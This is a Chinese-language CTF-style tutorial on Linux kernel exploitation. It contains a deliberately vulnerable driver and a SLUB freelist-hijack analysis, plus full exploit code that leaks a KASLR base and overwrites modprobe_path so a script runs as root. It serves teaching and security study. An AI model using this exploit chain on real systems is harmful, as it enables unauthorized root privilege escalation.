【pwn4kernel】Kernel Freelist Hijacking技术分析
1. 测试环境
测试版本:Linux-5.4.38 内核镜像地址
笔者测试的内核版本是 Linux (none) 5.4.38 #1 SMP Thu Jan 8 14:35:00 CST 2026 x86_64 GNU/Linux。
编译选项:关闭CONFIG_SLAB_FREELIST_HARDENED、CONFIG_MEMCG、CONFIG_STATIC_USERMODEHELPER、CONFIG_HARDENED_USERCOPY选项。开启CONFIG_SLAB_FREELIST_RANDOM、CONFIG_SLUB、CONFIG_SLUB_DEBUG、CONFIG_BINFMT_MISC、CONFIG_E1000、CONFIG_E1000E选项。完整配置参考.config。
保护机制:KASLR/SMEP/SMAP/KPTI
测试驱动程序:笔者基于RWCTF2022 - Digging into kernel 2 实现了一个专用于辅助测试的内核驱动模块。该模块遵循Linux内核模块架构,在加载后动态创建/dev/xkmod设备节点,从而为用户态的测试程序提供了一个可控的、直接的内核交互通道。该驱动作为构建完整漏洞利用链的核心组件之一,为后续的漏洞验证、利用技术开发以及相关安全分析工作,提供了不可或缺的实验环境与底层系统支撑。
驱动源码如下:
/**
* Copyright (c) 2026 BinRacer <native.lab@outlook.com>
*
* This work is licensed under the terms of the GNU GPL, version 2 or later.
**/
// code base on RWCTF2022 - Digging into kernel 2
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/export.h>
#include <linux/fs.h>
#include <linux/gfp.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/printk.h>
#include <linux/ptrace.h>
#include <linux/rwlock.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/version.h>
#define ALLOC_BUF 0x1111111
#define EDIT_BUF 0x6666666
#define READ_BUF 0x7777777
struct chunk_t {
void *user_buf;
size_t offset;
size_t len;
};
static struct kmem_cache *xkmod_cache = NULL;
static void *buf = NULL;
static unsigned int major;
static struct class *xkmod_class;
static struct cdev xkmod_cdev;
static int xkmod_open(struct inode *inode, struct file *filp)
{
pr_info("[xkmod:] Device open.\n");
return 0;
}
static int xkmod_release(struct inode *inode, struct file *filp)
{
kmem_cache_free(xkmod_cache, buf);
pr_info("[xkmod:] Device release.\n");
return 0;
}
static long xkmod_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
long ret = 0;
size_t offset = 0;
size_t len = 0;
void *user_buf = NULL;
struct chunk_t user_chunk = { 0 };
if (copy_from_user(&user_chunk, (void *)arg, sizeof(struct chunk_t))) {
pr_info("[xkmod:] Error copy data ptr from user.\n");
return -EFAULT;
}
offset = user_chunk.offset;
len = user_chunk.len;
user_buf = user_chunk.user_buf;
switch (cmd) {
case ALLOC_BUF:
buf = kmem_cache_alloc(xkmod_cache, 0xcc0);
break;
case EDIT_BUF:
if (!buf) {
pr_info("[xkmod:] please alloc first before edit.\n");
ret = -EFAULT;
break;
}
if (offset > 0x70) {
pr_info("[xkmod:] offset two big for edit.\n");
ret = -EFAULT;
break;
}
if (len > 0x50) {
pr_info("[xkmod:] len two big for edit.\n");
ret = -EFAULT;
break;
}
if (copy_from_user(buf + offset, user_buf, len)) {
pr_info("[xkmod:] Error copy data from user.\n");
ret = -EFAULT;
break;
}
pr_info("[xkmod:] copy data from user successful.\n");
break;
case READ_BUF:
if (!buf) {
pr_info("[xkmod:] please alloc first before read.\n");
ret = -EFAULT;
break;
}
if (offset > 0x70) {
pr_info("[xkmod:] offset two big for read.\n");
ret = -EFAULT;
break;
}
if (len > 0x50) {
pr_info("[xkmod:] len two big for read.\n");
ret = -EFAULT;
break;
}
if (copy_to_user(user_buf, buf + offset, len)) {
pr_info("[xkmod:] Error copy data to user.\n");
ret = -EFAULT;
break;
}
pr_info("[xkmod:] copy data to user successful.\n");
break;
default:
pr_info("[xkmod:] Unknown ioctl cmd!\n");
ret = -EINVAL;
}
return ret;
}
struct file_operations xkmod_fops = {
.owner = THIS_MODULE,
.open = xkmod_open,
.release = xkmod_release,
.unlocked_ioctl = xkmod_ioctl,
};
static char *xkmod_devnode(struct device *dev, umode_t *mode)
{
if (mode)
*mode = 0666;
return NULL;
}
static int __init init_xkmod(void)
{
struct device *xkmod_device;
int error;
dev_t devt = 0;
error = alloc_chrdev_region(&devt, 0, 1, "xkmod");
if (error < 0) {
pr_err("[xkmod:] Can't get major number!\n");
return error;
}
major = MAJOR(devt);
pr_info("[xkmod:] xkmod major number = %d.\n", major);
xkmod_class = class_create(THIS_MODULE, "xkmod_class");
if (IS_ERR(xkmod_class)) {
pr_err("[xkmod:] Error creating xkmod class!\n");
unregister_chrdev_region(MKDEV(major, 0), 1);
return PTR_ERR(xkmod_class);
}
xkmod_class->devnode = xkmod_devnode;
cdev_init(&xkmod_cdev, &xkmod_fops);
xkmod_cdev.owner = THIS_MODULE;
cdev_add(&xkmod_cdev, devt, 1);
xkmod_device = device_create(xkmod_class, NULL, devt, NULL, "xkmod");
if (IS_ERR(xkmod_device)) {
pr_err("[xkmod:] Error creating xkmod device!\n");
class_destroy(xkmod_class);
unregister_chrdev_region(devt, 1);
return -1;
}
xkmod_cache = kmem_cache_create("lalala", 192, 0, 0, 0);
if (!xkmod_cache) {
pr_info("[xkmod:] xkmod_cache slab cache create failed.\n");
return -ENOMEM;
}
buf = NULL;
pr_info("[xkmod:] xkmod module loaded.\n");
return 0;
}
static void __exit exit_xkmod(void)
{
if (xkmod_cache) {
kmem_cache_destroy(xkmod_cache);
pr_info("[xkmod:] xkmod_cache slab cache destroyed.\n");
}
unregister_chrdev_region(MKDEV(major, 0), 1);
device_destroy(xkmod_class, MKDEV(major, 0));
cdev_del(&xkmod_cdev);
class_destroy(xkmod_class);
pr_info("[xkmod:] xkmod module unloaded.\n");
}
module_init(init_xkmod);
module_exit(exit_xkmod);
MODULE_AUTHOR("BinRacer");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("Welcome to the pwn4kernel challenge!");
2. 漏洞机制
本章节将深入分析内核模块中的内存管理机制,重点探讨SLUB分配器的freelist劫持利用方式。该内核模块实现了一个字符设备驱动,通过ioctl接口提供内存分配、编辑和读取功能,存在明显的竞争条件问题。
2-1. 内核模块核心功能
该字符设备驱动模块提供了简单的内核内存管理接口,通过/dev/xkmod设备节点提供服务。
主要数据结构:
struct chunk_t {
void *user_buf; // 用户空间缓冲区地址
size_t offset; // 操作偏移量
size_t len; // 操作长度
};
核心功能命令:
#define ALLOC_BUF 0x1111111 // 分配192字节内存
#define EDIT_BUF 0x6666666 // 编辑内存,偏移≤0x70,长度≤0x50
#define READ_BUF 0x7777777 // 读取内存,偏移≤0x70,长度≤0x50
模块初始化:
xkmod_cache = kmem_cache_create("lalala", 192, 0, 0, 0);
- 创建名为”lalala”的SLUB缓存,对象大小192字节
- 对应
kmalloc-192缓存,每个slab包含21个对象槽位
设备文件操作:
static int xkmod_open(struct inode *inode, struct file *filp)
{
pr_info("[xkmod:] Device open.\n");
return 0;
}
- 设备打开操作,记录日志但不做其他处理
- 允许任意数量的进程同时打开设备
内存分配功能:
case ALLOC_BUF:
buf = kmem_cache_alloc(xkmod_cache, 0xcc0);
break;
- 从自定义SLUB缓存分配192字节内存
- 使用
GFP_KERNEL标志(0xcc0对应GFP_KERNEL) - 分配的内存指针存储在全局变量
buf中 - 每次只能分配一个缓冲区,新分配会替换之前的指针
内存编辑功能:
case EDIT_BUF:
if (!buf) {
pr_info("[xkmod:] please alloc first before edit.\n");
ret = -EFAULT;
break;
}
if (offset > 0x70) {
pr_info("[xkmod:] offset two big for edit.\n");
ret = -EFAULT;
break;
}
if (len > 0x50) {
pr_info("[xkmod:] len two big for edit.\n");
ret = -EFAULT;
break;
}
if (copy_from_user(buf + offset, user_buf, len)) {
pr_info("[xkmod:] Error copy data from user.\n");
ret = -EFAULT;
break;
}
break;
- 检查内存是否已分配
- 偏移量限制:
offset ≤ 0x70 - 长度限制:
len ≤ 0x50 - 从用户空间拷贝数据到内核缓冲区
- 允许修改已分配内存的任意位置(在限制范围内)
内存读取功能:
case READ_BUF:
if (!buf) {
pr_info("[xkmod:] please alloc first before read.\n");
ret = -EFAULT;
break;
}
if (offset > 0x70) {
pr_info("[xkmod:] offset two big for read.\n");
ret = -EFAULT;
break;
}
if (len > 0x50) {
pr_info("[xkmod:] len two big for read.\n");
ret = -EFAULT;
break;
}
if (copy_to_user(user_buf, buf + offset, len)) {
pr_info("[xkmod:] Error copy data to user.\n");
ret = -EFAULT;
break;
}
break;
- 检查内存是否已分配
- 偏移量限制:
offset ≤ 0x70 - 长度限制:
len ≤ 0x50 - 从内核缓冲区拷贝数据到用户空间
- 允许读取已分配内存的任意位置(在限制范围内)
内存释放机制:
static int xkmod_release(struct inode *inode, struct file *filp)
{
kmem_cache_free(xkmod_cache, buf);
pr_info("[xkmod:] Device release.\n");
return 0;
}
- 设备文件关闭时自动释放分配的内存
- 释放操作不检查是否有其他引用
- 如果内存未被分配,释放操作可能产生未定义行为
关键设计缺陷:
- 使用全局变量
buf存储内存指针 - 多个进程可同时访问同一全局状态
- 缺乏锁机制等同步原语
- 释放操作不验证内存使用状态
- 无引用计数机制管理内存生命周期
flowchart TD
A[用户空间进程] --> B[打开/dev/xkmod设备]
B --> C[ioctl: ALLOC_BUF分配内存]
C --> D[ioctl: EDIT_BUF编辑内存]
C --> E[ioctl: READ_BUF读取内存]
B --> F[关闭设备文件]
F --> G[释放内存]
style A fill:#e1f5fe
style B fill:#e1f5fe
style C fill:#c8e6c9
style D fill:#fff3e0
style E fill:#d1ecf1
style F fill:#e1f5fe
style G fill:#ffccbc
2-2. 竞争条件与内存状态冲突
内核模块中的竞争条件源于多个进程可同时操作同一共享资源,而没有适当的同步机制。
内存状态管理问题:
- 全局状态共享:单一全局指针被多个进程共享访问
- 释放时机不确定:内存释放与文件描述符关闭绑定,各进程生命周期独立
- 状态验证缺失:读写操作仅检查指针非空,不验证内存是否有效分配
- 并发访问冲突:多个进程可同时对同一内存区域进行读写操作
竞争条件触发场景: 考虑两个进程的操作序列:进程A打开设备、分配内存、进行读写操作;同时进程B也打开设备并尝试操作同一内存区域。如果进程A在操作过程中关闭文件描述符,内存将被释放,但进程B仍持有对已释放内存区域的引用,可继续执行读写操作,形成典型的释放后使用条件。
flowchart TD
A[进程A: 打开设备] --> B[分配内存]
B --> C[进程A进行读写操作]
C --> D[进程B: 打开同一设备]
D --> E[进程B尝试读写内存]
C --> F[进程A关闭文件描述符]
F --> G[内存被释放]
E --> H[进程B继续访问已释放内存]
H --> I[释放后使用条件UAF]
style A fill:#e1f5fe
style B fill:#e1f5fe
style C fill:#e1f5fe
style D fill:#f3e5f5
style E fill:#f3e5f5
style F fill:#ffccbc
style G fill:#ffccbc
style H fill:#ffcdd2
style I fill:#ffcdd2,stroke:#f44336,stroke-width:2px
内核配置环境: 测试系统配置了特定的内核编译选项:
- 禁用
CONFIG_SLAB_FREELIST_HARDENED:移除了freelist加固保护 - 禁用
CONFIG_MEMCG:不使用内存控制组功能 - 禁用
CONFIG_STATIC_USERMODEHELPER:使用动态用户模式助手路径 - 启用
CONFIG_SLAB_FREELIST_RANDOM:启用freelist随机化
2-3. SLUB分配器内部机制
SLUB是Linux内核默认的小内存分配器,其设计针对性能和内存效率进行了优化。
SLUB缓存结构: 每个SLUB缓存由多个slab组成,每个slab是物理上连续的内存页,被划分为多个相同大小的对象。缓存维护多个链表管理不同状态的slab:完全分配、部分分配和完全空闲。
freelist管理机制: SLUB使用内联freelist管理空闲对象。当对象被释放时,其前8字节(在64位系统上)被用作freelist指针,指向同一slab中的下一个空闲对象。
freelist内存布局图示: 在SLUB分配器中,空闲对象通过内联的freelist指针连接。下图展示了一个简单的freelist链表示例,其中两个空闲对象通过freelist指针连接。
flowchart LR
subgraph 空闲对象1
direction LR
A1[对象1地址] --> B1[freelist指针]
B1 --> C1[对象1数据区域]
end
subgraph 空闲对象2
direction LR
A2[对象2地址] --> B2[freelist指针]
B2 --> C2[对象2数据区域]
end
B1 --> A2
style A1 fill:#e1f5fe
style B1 fill:#c8e6c9
style C1 fill:#e1f5fe
style A2 fill:#e1f5fe
style B2 fill:#c8e6c9
style C2 fill:#e1f5fe
style B1 stroke:#4caf50,stroke-width:2px
style A2 stroke:#4caf50,stroke-width:2px
当对象1被释放时,其前8字节存储一个freelist指针,指向下一个空闲对象(对象2)。对象2的freelist指针指向下一个空闲对象,以此类推,直到最后一个空闲对象的freelist指针为NULL。
在freelist劫持中,通过修改空闲对象1的freelist指针,使其指向想要的目标地址,从而在后续分配中,当分配完对象1后,下一次分配就会从控制的目标地址返回。
freelist与glibc分配器对比:
- 无元数据开销:SLUB对象不包含大小、标志等头部信息
- 内联freelist:空闲指针存储在释放的对象内部
- CPU本地缓存:每个CPU维护本地缓存加速操作
- 随机化保护:开启
CONFIG_SLAB_FREELIST_RANDOM时,释放对象顺序随机化
freelist劫持原理: 控制释放对象的freelist指针可影响后续的内存分配。如果能够修改某个空闲对象的freelist指针,使其指向特定地址,那么下次分配可能从该地址返回”内存”。然而,由于随机化保护,简单的单次修改难以成功,需要通过统计方法提高成功率。
flowchart TD
A[内存分配请求] --> B{CPU本地freelist是否为空?}
B -- 否 --> C[从本地freelist取对象返回]
B -- 是 --> D[从slab的freelist补充]
D --> E{slab的freelist是否为空?}
E -- 否 --> F[填充本地freelist]
E -- 是 --> G[分配新slab]
F --> C
G --> C
style A fill:#e1f5fe
style C fill:#c8e6c9
style D fill:#fff3e0
style F fill:#fff3e0
style G fill:#ffccbc
2-4. page_offset_base + 0x9d000内存布局原理
在内核地址信息获取阶段,利用page_offset_base + 0x9d000地址的原理基于Linux内核的特定内存布局特征。理解这一原理对成功实现内核地址泄露至关重要。
page_offset_base概念: page_offset_base是内核虚拟地址空间中直接映射物理内存区域的起始地址。在x86_64架构中,内核虚拟地址空间被划分为几个主要区域:
- 直接映射区域:从
page_offset_base开始,线性映射所有物理内存 - vmalloc区域:用于动态内核内存分配
- 内核代码区域:包含内核镜像、静态数据等
内存布局特征: 在Linux内核的早期初始化阶段,特定函数secondary_startup_64的地址存储在page_offset_base + 0x9d000偏移处。这个位置是内核初始化代码中的一个固定点,包含对secondary_startup_64函数的引用。
secondary_startup_64函数作用: secondary_startup_64是x86_64架构中AP(Application Processor,非引导处理器)的启动入口点。当系统启动时,引导处理器执行主初始化路径,而非引导处理器从该函数开始执行。其地址在内核初始化时被记录在特定位置。
地址计算公式:
\[\text{目标地址} = \text{page_offset_base} + \text{0x9d000}\] \[\text{secondary_startup_64地址} = \text{目标地址处存储的值}\] \[\text{内核基址} = \text{secondary_startup_64地址} - \text{已知偏移}\]内存访问示意图:
flowchart TD
A[page_offset_base<br/>直接映射区起始] --> B[+ 0x9d000偏移]
B --> C["存储secondary_startup_64地址的位置"]
C --> D["读取该位置内容"]
D --> E["获取secondary_startup_64实际地址"]
E --> F["计算内核基址 = secondary_startup_64地址 - 已知偏移"]
style A fill:#e1f5fe
style B fill:#fff3e0
style C fill:#f3e5f5
style D fill:#e1f5fe
style E fill:#c8e6c9
style F fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
重要性: 这种方法的优势在于不依赖内核导出符号,通过内核内存的固有布局特征获取关键地址信息。即使内核启用了KASLR,相对偏移关系保持不变,使得该方法具有较高的可靠性。
2-5. 利用链设计与实现
利用过程分为两个逻辑阶段:首先获取内核地址信息绕过地址随机化保护,然后利用获取的信息修改关键内核数据结构。
完整利用过程概览:
flowchart TD
A[开始利用过程] --> B[阶段一: 内核地址信息获取]
B --> C["泄露内核堆地址<br/>读取freelist指针"]
C --> D["计算page_offset_base<br/>定位目标地址"]
D --> E["修改freelist指针<br/>实现第一次劫持"]
E --> F["堆喷射读取<br/>获取secondary_startup_64地址"]
F --> G["计算内核基址<br/>绕过KASLR"]
G --> H[阶段二: 内核数据结构修改]
H --> I["计算modprobe_path地址<br/>准备第二次劫持"]
I --> J["修改freelist指针<br/>指向modprobe_path"]
J --> K["堆喷射控制<br/>获得目标区域控制权"]
K --> L["修改modprobe_path<br/>为自定义脚本路径"]
L --> M[触发内核执行未知格式文件]
M --> N[内核调用自定义脚本]
N --> O[完成特定操作]
style A fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
style B fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
style C fill:#e1f5fe
style D fill:#fff3e0
style E fill:#fff3e0
style F fill:#e1f5fe
style G fill:#c8e6c9
style H fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
style I fill:#fff3e0
style J fill:#fff3e0
style K fill:#e1f5fe
style L fill:#fff3e0
style M fill:#f3e5f5
style N fill:#c8e6c9
style O fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
2-5-1. 阶段一:内核地址信息获取
- 初始状态准备:
- 打开两个设备文件描述符fd0和fd1
- 通过fd0执行内存分配操作,创建初始的内存分配状态
- 关闭fd0触发内存释放,在SLUB缓存中创建空闲对象
- 此时释放对象的freelist指针指向下一个空闲位置
- freelist状态读取:
- 通过fd1执行内存读取操作
- 读取释放内存的前8字节内容,获取freelist指针值
- 这个指针值是内核堆地址,提供了内存布局的参考点
- page_offset_base计算:
- 基于获取的堆地址计算
page_offset_base - 堆地址位于直接映射区域,与
page_offset_base有固定偏移关系 - 通过掩码操作提取
page_offset_base值
- 基于获取的堆地址计算
- 目标地址定位:
- 计算
page_offset_base + 0x9d000地址 - 此位置存储
secondary_startup_64函数的地址 - 减去0x10偏移以确保内存对齐和正确访问
- 计算
- freelist指针修改:
- 通过编辑操作修改freelist指针,使其指向计算得到的目标地址
- 考虑内存对齐要求,调整目标地址确保正确性
- 此时freelist链被重定向到内核关键数据区域
- 堆喷射与地址获取:
- 进行21次分配尝试(基于
kmalloc-192缓存每个slab的对象数量) - 由于修改了freelist指针,部分分配可能从目标地址区域返回
- 每次分配后读取内容,搜索特定的地址模式
- 经过足够次数的尝试,有高概率获得
secondary_startup_64函数地址 - 基于已知偏移计算内核镜像基址,完全绕过KASLR保护
- 进行21次分配尝试(基于
阶段一数学表示:
\[\text{page_offset_base} = \text{堆地址} \ \& \ \text{掩码}\] \[\text{目标地址} = \text{page_offset_base} + \text{0x9d000}\] \[\text{内核基址} = \text{secondary_startup_64地址} - \text{固定偏移}\]2-5-2. 阶段二:内核数据结构修改
modprobe_path机制原理: modprobe_path是内核导出的全局字符数组,默认值为/sbin/modprobe。当内核需要加载未知格式的可执行文件时,会通过call_usermodehelper机制执行该路径指定的程序。这个机制原本用于动态加载内核模块,但可被重用来执行任意用户空间程序。
- 地址计算准备:
- 使用阶段一获得的内核基址计算
modprobe_path地址 modprobe_path是内核全局变量,存储/sbin/modprobe路径- 计算
modprobe_path - 0x10作为freelist目标地址,确保内存对齐
- 使用阶段一获得的内核基址计算
- freelist重新定向:
- 再次通过类似操作构造freelist状态
- 修改freelist指针指向
modprobe_path附近区域 - 考虑内存对齐和偏移,确保后续分配获得对该区域的控制
- 控制权获取:
- 进行21次堆喷射分配尝试
- 部分分配将从目标区域返回,获得对
modprobe_path附近内存的控制权 - 验证分配内容,确认获得了对目标内存区域的控制
- 路径修改操作:
- 将
modprobe_path修改为自定义脚本路径 - 确保新路径符合内核要求,以null结尾的字符串
- 修改后,内核执行未知格式文件时将调用自定义脚本
- 将
- 触发机制执行:
- 准备一个特殊格式的文件,其文件头不被任何已注册的二进制格式处理器识别
- 执行该文件,触发内核的未知格式处理流程
- 内核调用修改后的
modprobe_path指向的程序 - 自定义脚本以root权限执行,完成预定义的操作
阶段二数学表示:
\[\text{modprobe_path地址} = \text{内核基址} + \text{modprobe_path偏移}\] \[\text{freelist目标地址} = \text{modprobe_path地址} - \text{0x10}\]完整的内核执行路径:
flowchart TD
A[用户空间执行未知格式文件] --> B[__x64_sys_execve<br/>系统调用入口]
B --> C[do_execveat_common]
C --> D[search_binary_handler<br/>搜索二进制格式处理器]
D --> E{是否找到匹配处理器?}
E -- 是 --> F[执行相应格式处理器]
E -- 否 --> G["request_module 'binfmt-%04x'"<br/>尝试加载格式处理模块]
G --> H[call_usermodehelper<br/>调用用户空间助手]
H --> I[读取modprobe_path变量]
I --> J[执行modprobe_path指向的程序]
J --> K[自定义脚本以root权限执行]
style A fill:#e1f5fe
style B fill:#d4edda
style C fill:#d1ecf1
style D fill:#d4edda
style E fill:#fff3e0
style F fill:#c8e6c9
style G fill:#d1ecf1
style H fill:#d4edda
style I fill:#f3e5f5
style J fill:#c8e6c9
style K fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
2-6. 技术要点与防护分析
关键技术要点:
- 竞争条件利用:通过精心设计的操作序列,利用缺乏同步保护的全局状态,构造特定的内存状态
- freelist操作:深入理解SLUB分配器的内部机制,特别是内联freelist的管理方式
- 统计方法应用:通过多次尝试(堆喷射)绕过freelist随机化保护,基于概率提高成功率
- 内核布局知识:利用已知的内核内存布局特征,从部分信息推导完整地址信息
- 内核机制利用:利用合法的内核功能(modprobe机制)实现权限提升,而非直接修改内核代码
- 内存布局利用:深入理解
page_offset_base + 0x9d000等内核内存布局特征,实现可靠的内核地址泄露
安全防护分析:
- 同步机制缺失:模块缺乏基本的锁保护,允许多个进程无协调地访问共享资源
- 状态验证不足:操作前未充分验证内存状态,允许对已释放内存的访问
- 配置选项影响:特定内核配置选项的禁用降低了系统的安全防护能力
- 随机化局限性:freelist随机化提供了一定保护,但通过统计方法仍可绕过
- 内存布局暴露:固定的内核内存布局特征可能被用于绕过地址随机化保护
防护建议:
- 添加同步机制:在全局状态访问处添加适当的锁保护
- 加强状态验证:在内存操作前验证内存的分配状态
- 使用引用计数:对共享资源使用引用计数,确保在无引用时再释放
- 启用完整保护:在生产系统中启用所有可用的安全配置选项
- 随机化增强:增强内核地址随机化,减少可预测的内存布局特征
- 访问控制:对关键内核数据结构的访问增加权限验证
整个分析展示了通过深入理解内核内存管理机制和精心设计的操作序列,可以在存在缺陷的内核模块中实现从内存状态操控到控制流引导的完整技术链。特别是对page_offset_base + 0x9d000内存布局特征的深入理解和利用,为内核地址泄露提供了可靠的方法。这种分析有助于理解内核安全机制的设计原理和潜在弱点,为系统安全加固提供参考依据。
3. 实战演练
exploit核心代码如下:
/* Kernel symbol address for modprobe_path */
#define MODPROBE_PATH 0xffffffff82444740
/* Root script to be executed via modprobe */
#define ROOT_SCRIPT_PATH "/home/ctf/getshell"
char root_script[] = "#!/bin/sh\nchown -R 1000:1000 /root\nchmod 777 /root/flag";
/* Structure for interacting with the kernel module */
struct chunk_info {
size_t *user_buffer;
size_t offset;
size_t length;
};
/* Wrapper functions for ioctl operations */
void allocate_chunk(int device_fd, struct chunk_info *chunk) {
ioctl(device_fd, 0x1111111, chunk);
}
void edit_chunk(int device_fd, struct chunk_info *chunk) {
ioctl(device_fd, 0x6666666, chunk);
}
void read_chunk(int device_fd, struct chunk_info *chunk) {
ioctl(device_fd, 0x7777777, chunk);
}
int main() {
int device_fds[3]; /* File descriptors for the kernel device */
int root_script_fd, flag_fd; /* File descriptors for script and flag */
size_t heap_leak, kernel_base; /* Leaked kernel addresses */
size_t kernel_offset; /* Offset from kernel base */
size_t page_offset_base; /* Guessed page offset base */
char flag_buffer[0x100]; /* Buffer to store the flag */
int target_found = 0; /* Flag for finding target chunk */
struct chunk_info chunk; /* Chunk metadata for operations */
/* Phase 1: Initial setup */
log.info("Phase 1: Initial setup");
bind_core(0);
for (int i = 0; i < 3; i++) {
device_fds[i] = open("/dev/xkmod", O_RDONLY);
if (device_fds[i] < 0) {
log.error("Failed to open device");
exit(EXIT_FAILURE);
}
}
/* Create the fake modprobe script */
root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT, 0777);
if (root_script_fd < 0) {
log.error("Failed to create root script");
exit(EXIT_FAILURE);
}
write(root_script_fd, root_script, sizeof(root_script));
close(root_script_fd);
system("chmod 777 " ROOT_SCRIPT_PATH);
log.success("Root script created at %s", ROOT_SCRIPT_PATH);
/* Phase 2: Construct Use-After-Free (UAF) */
log.info("Phase 2: Constructing UAF");
chunk.user_buffer = malloc(0x1000);
if (!chunk.user_buffer) {
log.error("Memory allocation failed");
exit(EXIT_FAILURE);
}
chunk.offset = 0;
chunk.length = 0x50;
memset(chunk.user_buffer, 0, 0x1000);
allocate_chunk(device_fds[0], &chunk);
close(device_fds[0]); /* Trigger UAF by closing the file descriptor */
/* Phase 3: Leak kernel heap address and guess page_offset_base */
log.info("Phase 3: Leaking kernel heap address");
read_chunk(device_fds[1], &chunk);
heap_leak = chunk.user_buffer[0];
page_offset_base = heap_leak & 0xfffffffff0000000;
log.success("Kernel heap leak: 0x%lx", heap_leak);
log.success("Guessed page_offset_base: 0x%lx", page_offset_base);
/* Phase 4: Leak kernel base by allocating a fake chunk */
log.info("Phase 4: Leaking kernel base");
chunk.user_buffer[0] = page_offset_base + 0x9d000 - 0x10;
chunk.offset = 0;
chunk.length = 8;
edit_chunk(device_fds[1], &chunk);
for (int i = 0; i < 21; i++) {
allocate_chunk(device_fds[1], &chunk);
chunk.length = 0x40;
read_chunk(device_fds[1], &chunk);
log.info("freelist->next chunk[%d] => %#-18lx, secondary_startup_64: %#-18lx",
i, chunk.user_buffer[0], chunk.user_buffer[2]);
if ((chunk.user_buffer[2] & 0xfff) == 0x30 && chunk.user_buffer[0] == 0x0) {
target_found = 1;
log.success("Found target chunk for kernel base leak");
break;
}
}
if (!target_found) {
log.error("Failed to leak kernel base. Exiting");
exit(EXIT_FAILURE);
}
kernel_base = chunk.user_buffer[2] - 0x30;
kernel_offset = kernel_base - 0xffffffff81000000;
log.success("Kernel base: 0x%lx", kernel_base);
log.success("Kernel offset: 0x%lx", kernel_offset);
/* Phase 5: Hijack modprobe_path by manipulating the freelist */
log.info("Phase 5: Hijacking modprobe_path");
allocate_chunk(device_fds[1], &chunk);
close(device_fds[1]); /* Free the chunk to prepare for freelist poisoning */
chunk.user_buffer[0] = kernel_offset + MODPROBE_PATH - 0x10;
chunk.offset = 0;
chunk.length = 0x40;
edit_chunk(device_fds[2], &chunk);
target_found = 0;
for (int i = 0; i < 21; i++) {
allocate_chunk(device_fds[2], &chunk);
read_chunk(device_fds[2], &chunk);
log.info("freelist->next chunk[%d] => %#-18lx, modprobe_path value: %#-18lx",
i, chunk.user_buffer[0], chunk.user_buffer[2]);
if (chunk.user_buffer[2] == 0x6f6d2f6e6962732f) { /* "/sbin/modprobe" in hex */
target_found = 1;
log.success("Found target chunk for modprobe_path");
log.success("Current modprobe_path: %s", (char *)&chunk.user_buffer[2]);
break;
}
}
if (!target_found) {
log.error("Failed to hijack modprobe_path. Exiting");
exit(EXIT_FAILURE);
}
/* Overwrite modprobe_path with the path to our script */
strcpy((char *)&chunk.user_buffer[2], ROOT_SCRIPT_PATH);
chunk.length = 0x30;
edit_chunk(device_fds[2], &chunk);
log.success("modprobe_path overwritten to: %s", ROOT_SCRIPT_PATH);
/* Phase 6: Trigger the fake modprobe_path */
log.info("Phase 6: Triggering fake modprobe_path");
system("echo -e '\\xff\\xff\\xff\\xff' > /home/ctf/fake");
system("chmod +x /home/ctf/fake");
system("/home/ctf/fake");
/* Phase 7: Read the flag */
log.info("Phase 7: Reading flag");
memset(flag_buffer, 0, sizeof(flag_buffer));
flag_fd = open("/root/flag", O_RDWR);
if (flag_fd < 0) {
log.error("Failed to open flag file");
exit(EXIT_FAILURE);
}
read(flag_fd, flag_buffer, sizeof(flag_buffer));
log.success("Flag: %s", flag_buffer);
/* Cleanup */
for (int i = 0; i < 3; i++) {
if (device_fds[i] >= 0) close(device_fds[i]);
}
free(chunk.user_buffer);
return 0;
}
本章节将详细展示针对内核模块漏洞的完整验证过程,通过分阶段的操作演示实现从内存状态控制到内核机制调用的技术链。整个过程结合调试器信息展示内存状态变化,确保验证的透明性和可重复性。
3-1. 环境准备与初始化
验证过程的初始阶段包括必要的环境设置、资源分配和脚本准备,为后续操作奠定基础。
进程调度优化: 为减少多核环境下的竞争条件,将验证进程绑定到特定CPU核心。这通过sched_setaffinity系统调用实现,确保内存分配和释放操作在同一CPU核心的SLUB缓存中进行。
验证脚本设计: 创建验证脚本/home/ctf/getshell,内容设计为修改目标文件权限,以便后续验证。脚本执行权限设置为777,确保任何用户均可执行。
设备文件操作: 打开三个独立的设备文件描述符,分别用于不同的验证阶段:
device_fds[0]: 用于初始内存分配和释放device_fds[1]: 用于内存状态读取和freelist劫持device_fds[2]: 用于最终的内存控制和验证
内存缓冲区分配: 分配4KB用户空间缓冲区,用于与内核模块交互。缓冲区初始化为零,避免未初始化数据影响验证结果。
调试器准备: 启动调试器并附加到内核,准备观察内存状态变化。设置断点在关键的内核函数,如kmem_cache_alloc和kmem_cache_free。
flowchart TD
A[开始验证流程] --> B[绑定进程到CPU核心0]
B --> C[打开/dev/xkmod设备]
C --> D[创建3个独立文件描述符]
D --> E[准备验证脚本]
E --> F[设置脚本执行权限]
F --> G[验证环境准备完成]
style A fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
style B fill:#e1f5fe
style C fill:#e1f5fe
style D fill:#e1f5fe
style E fill:#fff3e0
style F fill:#fff3e0
style G fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
3-2. 构造内存状态条件
此阶段通过精心设计的操作序列构造特定的内存状态,为后续信息获取创造条件。
内存分配操作: 通过第一个文件描述符调用ioctl的ALLOC_BUF命令,分配192字节内核内存。此时内核模块的全局变量buf指向新分配的内存区域。
调试器观察: 分配后立即检查内存状态:
pwndbg> p/x buf
$1 = 0xffff88800f31e0c0
显示成功分配的内核内存地址为0xffff88800f31e0c0。
内存释放操作: 关闭第一个文件描述符,触发xkmod_release函数执行kmem_cache_free。内存被释放回SLUB缓存,此时其前8字节被SLUB分配器用作freelist指针。
进一步查看内存内容:
pwndbg> x/4gx 0xffff88800f31e0c0
0xffff88800f31e0c0: 0xffff88800f31e6c0 0x0000000000000000
